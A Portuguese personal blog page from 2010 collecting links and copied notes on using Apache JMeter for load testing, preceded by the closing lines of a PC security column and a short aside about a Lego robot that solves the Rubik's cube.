Na coluna de hoje é só, mas na próxima segunda-feira (17), o assunto será continuado com informações a respeito dos worms, exploits, vírus de macro, adwares e antivírus falsos. Antes, na quarta-feira (12), serão respondidas as dúvidas deixadas nos comentários. E, na sexta (14), eu volto com as principais notícias de segurança da semana. Se você tem alguma dúvida ou sugestão, use o espaço de comentários abaixo.
* Altieres Rohr é especialista em segurança de computadores e, nesta coluna, vai responder dúvidas, explicar conceitos e dar dicas e esclarecimentos sobre antivírus, firewalls, crimes virtuais, proteção de dados e outros. Ele criou e edita o Linha Defensiva, site e fórum de segurança que oferece um serviço gratuito de remoção de pragas digitais, entre outras atividades. Na coluna “Segurança para o PC”, o especialista também vai tirar dúvidas deixadas pelos leitores na seção de comentários.
Leia mais colunas sobre segurança para o PC
Leia mais notícias de Tecnologia
Se você se acha "Nerd" por resolver o Cubo de Rubik, fique sabendo que Nerd de verdade pega um Lego Mindstorms e constrói um robô para resolver, como o Titled Twister ai em baixo:
quarta-feira, 15 de dezembro de 2010
Jmetter e BD
http://www.devmedia.com.br/post-4118-JMeter-executando-testes-de-desempenho.html
Jmetter d novo
http://tecnociencia.inf.br/comunidade/index.php?option=com_content&task=view&id=362&Itemid=261
Jmeter melhores graficos
http://jakarta.apache.org/jmeter/usermanual/component_reference.html
mas tbm... achei uma coisa muito legal... como melhorar esses gráficos....
http://rubenlaguna.com/wp/better-jmeter-graphs/
funciona.... o problema foi arrumar as permissões do linux (que ainda não entendo nada)
terça-feira, 14 de dezembro de 2010
JMeter
O JMeter disponibiliza também um controle de threads, chamado Thread Group, no qual é possível configurar o número de threads, a quantidade de vezes que cada thread será executada e o intervalo entre cada execução, que ajuda a realizar os testes de carga. E por fim, existem diversos listeners, que podem ser usados para gerar gráficos e tabelas, com base nos resultados das requisições ou dos assertions.
Plano de Testes
Para qualquer teste que venha a ser feito utilizando o JMeter, é necessário criar um Plano de Testes, incluindo os elementos do teste. Estes elementos podem ser: Thread Group, Configuration Element, Listener, Timer, Controller, Assertion, Pre-Processor Element ou Post-Processor Element. Abaixo descrevemos cada um deles.
Thread Group
Este é ponto de começo, todos os outros elementos do Test Plan devem estar sob este. Como o próprio nome ressalta, este controla as threads que serão executadas pelo teste.
Configuration Elements
Embora não faça requisições (exceto para HTTP Proxy Server), este elemento pode modificar as requisições.
Listeners
Estes são os elementos que fornecem acesso aos resultados dos testes realizados no JMeter.
Timers
Por padrão, o JMeter faz requisições sem pausas entre elas. Os timers são utilizados para incluir pausas entre as requisições.
Controllers
Os Controllers estão divididos em dois grupos Samplers e Logic Controllers:
- Samplers — São controladores pré-definidos para requisições específicas. Podendo ser customizada com a inserção de configurações (Configurations), Assertions e etc.
- Logic Controllers — São controladores mais genéricos. Podendo ser customizados com a inserção de outros controllers, configuration elements, assertions, etc.
Assertions
Usadas para verificar se a resposta obtida na requisição é a esperada. Podem ser usadas expressões regulares na comparação.
Pre-Processor Elements
Executa alguma ação antes de fazer a requisição. Mais usado para pré-configurações das requisições.
Post-Processor Elements
Executa alguma ação depois de fazer a requisição. Mais usado para processar as respostas da requisição.
Tipos de Requisição
O JMeter suporta os seguintes tipos de requisição em suas rotinas de testes:
- FTP — Permite criar requisições usando o protocolo FTP e executa o comando de retrieve em um arquivo específico.
- HTTP — Permite criar requisições usando o protocolo HTTP ou HTTPS, podendo incluir parâmetros ou arquivos a requisição, escolher o método usado (GET ou POST) e manipular cookies. Este sampler possui dois tipos de implementação: Java HTTP ou Commons HTTPClient.
- JDBC — Com esta requisição é possível executar queries em um banco de dados específico.
- Objeto Java — Ajuda no teste de carga de classes Java, exigindo para isso a implementação de uma classe do tipo JavaSamplerClient para executar o método a ser testado. A estrutura deste objeto é similar a usada pelo JUnit.
- SOAP/XML-RPC — Permite enviar requisições SOAP para um WebService, ou enviar XML-RPC através do protocolo HTTP.
- LDAP — Permite enviar requisições para um servidor LDAP. Possui uma implementação simplificada e outra estendida.
- Testes JUnit — Usado para fazer teste de carga em testes de unidade que utilizam o framework JUnit.
Existem outros tipos de requisições que, até a atual versão do JMeter, estão em versão alfa, eles são: Web service (SOAP), Access Log, BeanShell, BSF, TCP, JMS Publisher, JMS Subscriber, JMS Point-to- Point.
antes que eu esqueça esse post foi retirado daqui
http://testersoftware.blogspot.com/2010/09/jmeter.html
Usando o JMeter para teste de Carga from Rafael Cirolini on Vimeo.
encontrei isso enquanto procura como usar o Jmetter ... muito bom.. pena que eu sempre esqueço meu foninho de ouvido lá em casa